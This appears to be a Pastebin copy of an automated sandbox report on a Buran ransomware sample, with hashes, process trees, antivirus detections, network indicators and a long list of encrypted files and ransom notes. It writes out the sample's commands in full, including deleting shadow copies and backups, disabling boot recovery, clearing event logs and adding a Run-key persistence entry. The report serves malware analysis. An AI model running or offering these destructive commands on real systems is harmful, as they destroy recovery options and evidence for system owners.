Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- * MalFamily: "Buran"
- * MalScore: 10.0
- * File Name: "Exes_6c5950534d6c12899d81aba98826e4a4.png"
- * File Size: 290816
- * File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
- * SHA256: "76daccd52aa8dd99c976ab8f4be508fdbafecf58d612ae0179b0fa3802721a9d"
- * MD5: "6c5950534d6c12899d81aba98826e4a4"
- * SHA1: "cc40ce4348ca01bb704c4872485c6f2351dbb72d"
- * SHA512: "77ba7f9bc26e4d037c6ed8451ea18b40387f2d84e55acec9a1b84876dee6bed85fb44c6c9b3960c80ffbccc16b5e0b3d88ea2ec1884564202ef19dee8f798b60"
- * CRC32: "725BA873"
- * SSDEEP: "6144:6h3+b9449fllCuQR7kVn+8QEfMiZ0X2T:6By944lllrQRkn+W7"
- * Process Execution:
- "Exes_6c5950534d6c12899d81aba98826e4a4.png",
- "cmd.exe",
- "cmd.exe",
- "cmd.exe",
- "cmd.exe",
- "cmd.exe",
- "cmd.exe",
- "cmd.exe",
- "WMIC.exe",
- "cmd.exe",
- "vssadmin.exe",
- "cmd.exe",
- "reg.exe",
- "cmd.exe",
- "reg.exe",
- "cmd.exe",
- "reg.exe",
- "cmd.exe",
- "attrib.exe",
- "cmd.exe",
- "cmd.exe",
- "wevtutil.exe",
- "cmd.exe",
- "wevtutil.exe",
- "cmd.exe",
- "wevtutil.exe",
- "cmd.exe",
- "sc.exe",
- "services.exe",
- "svchost.exe",
- "WmiPrvSE.exe",
- "svchost.exe",
- "VSSVC.exe",
- "sdclt.exe",
- "taskhost.exe",
- "sc.exe",
- "svchost.exe",
- "svchost.exe",
- "WerFault.exe"
- * Executed Commands:
- "\"C:\\Windows\\system32\\cmd.exe\" /e:on /c md \"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\" & copy \"C:\\Users\\user\\AppData\\Local\\Temp\\Exes_6c5950534d6c12899d81aba98826e4a4.png\" \"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\lsass.exe\" & reg add \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Local Security Authority Subsystem Service\" /t REG_SZ /F /D \"\\\"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\lsass.exe\\\" *\"",
- "\"C:\\Windows\\system32\\cmd.exe\" /C bcdedit /set default bootstatuspolicy ignoreallfailures",
- "\"C:\\Windows\\system32\\cmd.exe\" /C bcdedit /set default recoveryenabled no",
- "\"C:\\Windows\\system32\\cmd.exe\" /C wbadmin delete catalog -quiet",
- "\"C:\\Windows\\system32\\cmd.exe\" /C wbadmin delete systemstatebackup",
- "\"C:\\Windows\\system32\\cmd.exe\" /C wbadmin delete systemstatebackup -keepversions:0",
- "\"C:\\Windows\\system32\\cmd.exe\" /C wbadmin delete backup",
- "\"C:\\Windows\\system32\\cmd.exe\" /C wmic shadowcopy delete",
- "\"C:\\Windows\\system32\\cmd.exe\" /C vssadmin delete shadows /all /quiet",
- "\"C:\\Windows\\system32\\cmd.exe\" /C reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\" /va /f",
- "\"C:\\Windows\\system32\\cmd.exe\" /C reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\" /f",
- "\"C:\\Windows\\system32\\cmd.exe\" /C reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\"",
- "\"C:\\Windows\\system32\\cmd.exe\" /C attrib \"%userprofile%\\documents\\Default.rdp\" -s -h",
- "\"C:\\Windows\\system32\\cmd.exe\" /C del \"%userprofile%\\documents\\Default.rdp\"",
- "\"C:\\Windows\\system32\\cmd.exe\" /C wevtutil.exe clear-log Application",
- "\"C:\\Windows\\system32\\cmd.exe\" /C wevtutil.exe clear-log Security",
- "\"C:\\Windows\\system32\\cmd.exe\" /C wevtutil.exe clear-log System",
- "\"C:\\Windows\\system32\\cmd.exe\" /C sc config eventlog start=disabled",
- "C:\\Windows\\System32\\Wbem\\WMIC.exe wmic shadowcopy delete",
- "C:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding",
- "C:\\Windows\\system32\\vssvc.exe",
- "C:\\Windows\\System32\\sdclt.exe /CONFIGNOTIFICATION",
- "taskhost.exe $(Arg0)",
- "C:\\Windows\\system32\\sc.exe start w32time task_started",
- "C:\\Windows\\system32\\svchost.exe -k LocalService",
- "C:\\Windows\\System32\\svchost.exe -k WerSvcGroup",
- "vssadmin delete shadows /all /quiet",
- "reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\" /va /f",
- "reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\" /f",
- "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\"",
- "attrib \"C:\\Users\\user\\documents\\Default.rdp\" -s -h",
- "wevtutil.exe clear-log Application",
- "wevtutil.exe clear-log Security",
- "wevtutil.exe clear-log System",
- "sc config eventlog start=disabled",
- "C:\\Windows\\system32\\WerFault.exe -u -p 2900 -s 288"
- * Signatures Detected:
- "Description": "At least one process apparently crashed during execution",
- "Details":
- "Description": "Attempts to connect to a dead IP:Port (1 unique times)",
- "Details":
- "IP": "151.139.128.14:80"
- "Description": "Creates RWX memory",
- "Details":
- "Description": "A process attempted to delay the analysis task.",
- "Details":
- "Process": "WmiPrvSE.exe tried to sleep 420 seconds, actually delayed analysis time by 0 seconds"
- "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
- "Details":
- "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
- "suspicious_request": "http://geoiptool.com/"
- "suspicious_request": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D"
- "suspicious_request": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCECsuburZdTZsFIpu26N8jAc%3D"
- "suspicious_request": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCECqqFcLHUlZzydvBc9DfhNQ%3D"
- "suspicious_request": "http://iplogger.ru/1nuF67.html"
- "suspicious_request": "http://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQD%2BofQtYJP0vg6JS%2B4x27Bg"
- "suspicious_request": "http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl"
- "Description": "Performs some HTTP requests",
- "Details":
- "url": "http://geoiptool.com/"
- "url": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D"
- "url": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCECsuburZdTZsFIpu26N8jAc%3D"
- "url": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCECqqFcLHUlZzydvBc9DfhNQ%3D"
- "url": "http://iplogger.ru/1nuF67.html"
- "url": "http://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQD%2BofQtYJP0vg6JS%2B4x27Bg"
- "url": "http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl"
- "Description": "Attempts to delete volume shadow copies",
- "Details":
- "Description": "Attempts to restart the guest VM",
- "Details":
- "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
- "Details":
- "Spam": "services.exe (500) called API GetSystemTimeAsFileTime 10304885 times"
- "Description": "Modifies boot configuration settings",
- "Details":
- "disables_system_recovery": "Modifies the boot configuration to disable startup recovery"
- "ignorefailures": "Modifies the boot configuration to disable Windows error recovery"
- "Description": "Exhibits possible ransomware file modification behavior",
- "Details":
- "file_modifications": "Performs 390 file moves indicative of a potential file encryption process"
- "drops_unknown_mimetypes": "Drops 126 unknown file mime types which may be indicative of encrypted files being written back to disk"
- "Description": "Writes a potential ransom message to disk",
- "Details":
- "ransom_file": "!!! YOUR FILES ARE ENCRYPTED !!!.TXT"
- "Description": "File has been identified by 26 Antiviruses on VirusTotal as malicious",
- "Details":
- "MicroWorld-eScan": "Gen:Variant.Fugrafa.2344"
- "FireEye": "Generic.mg.6c5950534d6c1289"
- "Cylance": "Unsafe"
- "BitDefender": "Gen:Variant.Fugrafa.2344"
- "Arcabit": "Trojan.Fugrafa.D928"
- "Symantec": "ML.Attribute.HighConfidence"
- "ESET-NOD32": "a variant of Win32/Kryptik.GUWH"
- "APEX": "Malicious"
- "Avast": "Win32:Malware-gen"
- "Alibaba": "Trojan:Win32/Kryptik.510187cb"
- "Ad-Aware": "Gen:Variant.Fugrafa.2344"
- "Qihoo-360": "HEUR/QVM19.1.C883.Malware.Gen"
- "Invincea": "heuristic"
- "Emsisoft": "Gen:Variant.Fugrafa.2344 (B)"
- "Webroot": "W32.Trojan.Gen"
- "Microsoft": "Trojan:Win32/Wacatac.B!ml"
- "Endgame": "malicious (high confidence)"
- "GData": "Gen:Variant.Fugrafa.2344"
- "Acronis": "suspicious"
- "ALYac": "Gen:Variant.Fugrafa.2344"
- "MAX": "malware (ai score=88)"
- "Rising": "[email protected] (RDML:lvZayOw3YAQ9vP5m/ff01w)"
- "SentinelOne": "DFI - Malicious PE"
- "AVG": "Win32:Malware-gen"
- "Cybereason": "malicious.348ca0"
- "CrowdStrike": "win/malicious_confidence_90% (W)"
- "Description": "Checks the system manufacturer, likely for anti-virtualization",
- "Details":
- "Description": "Detects VirtualBox through the presence of a file",
- "Details":
- "file": "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxGuest.cat"
- "file": "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxGuest.inf"
- "file": "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxMouse.inf"
- "file": "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxMouse.cat"
- "file": "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxVideo.inf"
- "file": "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxVideo.cat"
- "Description": "Created network traffic indicative of malicious activity",
- "Details":
- "signature": "ET TROJAN Observed Buran Ransomware UA (BURAN)"
- "signature": "ET TROJAN Buran Ransomware Activity M1"
- * Started Service:
- "VSS",
- "WerSvc",
- "W32Time"
- * Mutexes:
- "Local\\WERReportingForProcess2900",
- "Global\\\\xe5\\x88\\x90\\xc2\\xa4"
- * Modified Files:
- "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4",
- "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4",
- "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220",
- "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220",
- "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_3FFB44569420EBC7D164BEC7D6CA3EEA",
- "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_3FFB44569420EBC7D164BEC7D6CA3EEA",
- "C:\\Users\\user\\AppData\\Local\\Temp\\1B7FDF2F.buran",
- "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_99D41F4D77B8F7BB12F6EE812A503A28",
- "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_99D41F4D77B8F7BB12F6EE812A503A28",
- "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F0060A9F9287878B15AB61E0E47645E5",
- "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F0060A9F9287878B15AB61E0E47645E5",
- "\\??\\PIPE\\wkssvc",
- "\\Device\\LanmanDatagramReceiver",
- "\\??\\PIPE\\DAV RPC SERVICE",
- "C:\\.doc",
- "C:\\.doc.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\.htm",
- "C:\\.htm.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\.jpeg",
- "C:\\.jpeg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\.jpg",
- "C:\\.jpg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\.pptx",
- "C:\\.pptx.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\.txt",
- "C:\\.txt.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\.xls",
- "C:\\.xls.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\.zip",
- "C:\\Host.bmp",
- "C:\\Host.bmp.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Host.docx",
- "C:\\Host.docx.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Host.html",
- "C:\\Host.html.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Host.jpeg",
- "C:\\Host.jpeg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Host.jpg",
- "C:\\Host.jpg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Host.pdf",
- "C:\\Host.pdf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\iexplore.ico",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\iexplore.ico.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\Oracle VM VirtualBox Guest Additions.url",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\Oracle VM VirtualBox Guest Additions.url.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxGuest.cat",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxGuest.cat.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxGuest.inf",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxGuest.inf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxMouse.cat",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxMouse.cat.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxMouse.inf",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxMouse.inf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxVideo.cat",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxVideo.cat.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxVideo.inf",
- "C:\\Program Files\\BLAOracle\\VirtualBox Guest Additions\\VBoxVideo.inf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\COPYRIGHT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\COPYRIGHT.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\LICENSE",
- "C:\\Program Files\\Java\\jre1.8.0_201\\LICENSE.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\README.txt",
- "C:\\Program Files\\Java\\jre1.8.0_201\\README.txt.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\release",
- "C:\\Program Files\\Java\\jre1.8.0_201\\release.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\THIRDPARTYLICENSEREADME-JAVAFX.txt",
- "C:\\Program Files\\Java\\jre1.8.0_201\\THIRDPARTYLICENSEREADME-JAVAFX.txt.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\THIRDPARTYLICENSEREADME.txt",
- "C:\\Program Files\\Java\\jre1.8.0_201\\THIRDPARTYLICENSEREADME.txt.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\Welcome.html",
- "C:\\Program Files\\Java\\jre1.8.0_201\\Welcome.html.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\bin\\server\\classes.jsa",
- "C:\\Program Files\\Java\\jre1.8.0_201\\bin\\server\\classes.jsa.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\bin\\server\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\bin\\server\\Xusage.txt",
- "C:\\Program Files\\Java\\jre1.8.0_201\\bin\\server\\Xusage.txt.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\accessibility.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\accessibility.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\calendars.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\calendars.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\charsets.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\charsets.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\classlist",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\classlist.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\content-types.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\content-types.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\currency.data",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\currency.data.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\flavormap.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\flavormap.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fontconfig.bfc",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fontconfig.bfc.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fontconfig.properties.src",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\fontconfig.properties.src.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\hijrah-config-umalqura.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\hijrah-config-umalqura.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\javafx.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\javafx.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\javaws.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\javaws.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jce.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jce.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jfr.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jfr.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jfxswt.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jfxswt.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jsse.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jsse.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jvm.hprof.txt",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\jvm.hprof.txt.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\logging.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\logging.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management-agent.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\management-agent.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\meta-index",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\meta-index.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\net.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\net.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\plugin.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\plugin.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\psfont.properties.ja",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\psfont.properties.ja.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\psfontj2d.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\psfontj2d.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\resources.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\resources.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\rt.jar",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\rt.jar.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\sound.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\sound.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\tzdb.dat",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\tzdb.dat.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\tzmappings",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\tzmappings.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\amd64\\jvm.cfg",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\amd64\\jvm.cfg.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\amd64\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\CIEXYZ.pf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\CIEXYZ.pf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\GRAY.pf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\GRAY.pf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\LINEAR_RGB.pf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\LINEAR_RGB.pf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\PYCC.pf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\PYCC.pf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\sRGB.pf",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\cmm\\sRGB.pf.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\ffjcext.zip",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\ffjcext.zip.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\!!! YOUR FILES ARE ENCRYPTED !!!.TXT",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_de.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_de.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_es.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_es.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_fr.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_fr.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_it.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_it.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_ja.properties",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_ja.properties.BA9F52E1-21F8-C361-3B5A-5DF7EBDAA960",
- "C:\\Program Files\\Java\\jre1.8.0_201\\lib\\deploy\\messages_ko.properties",
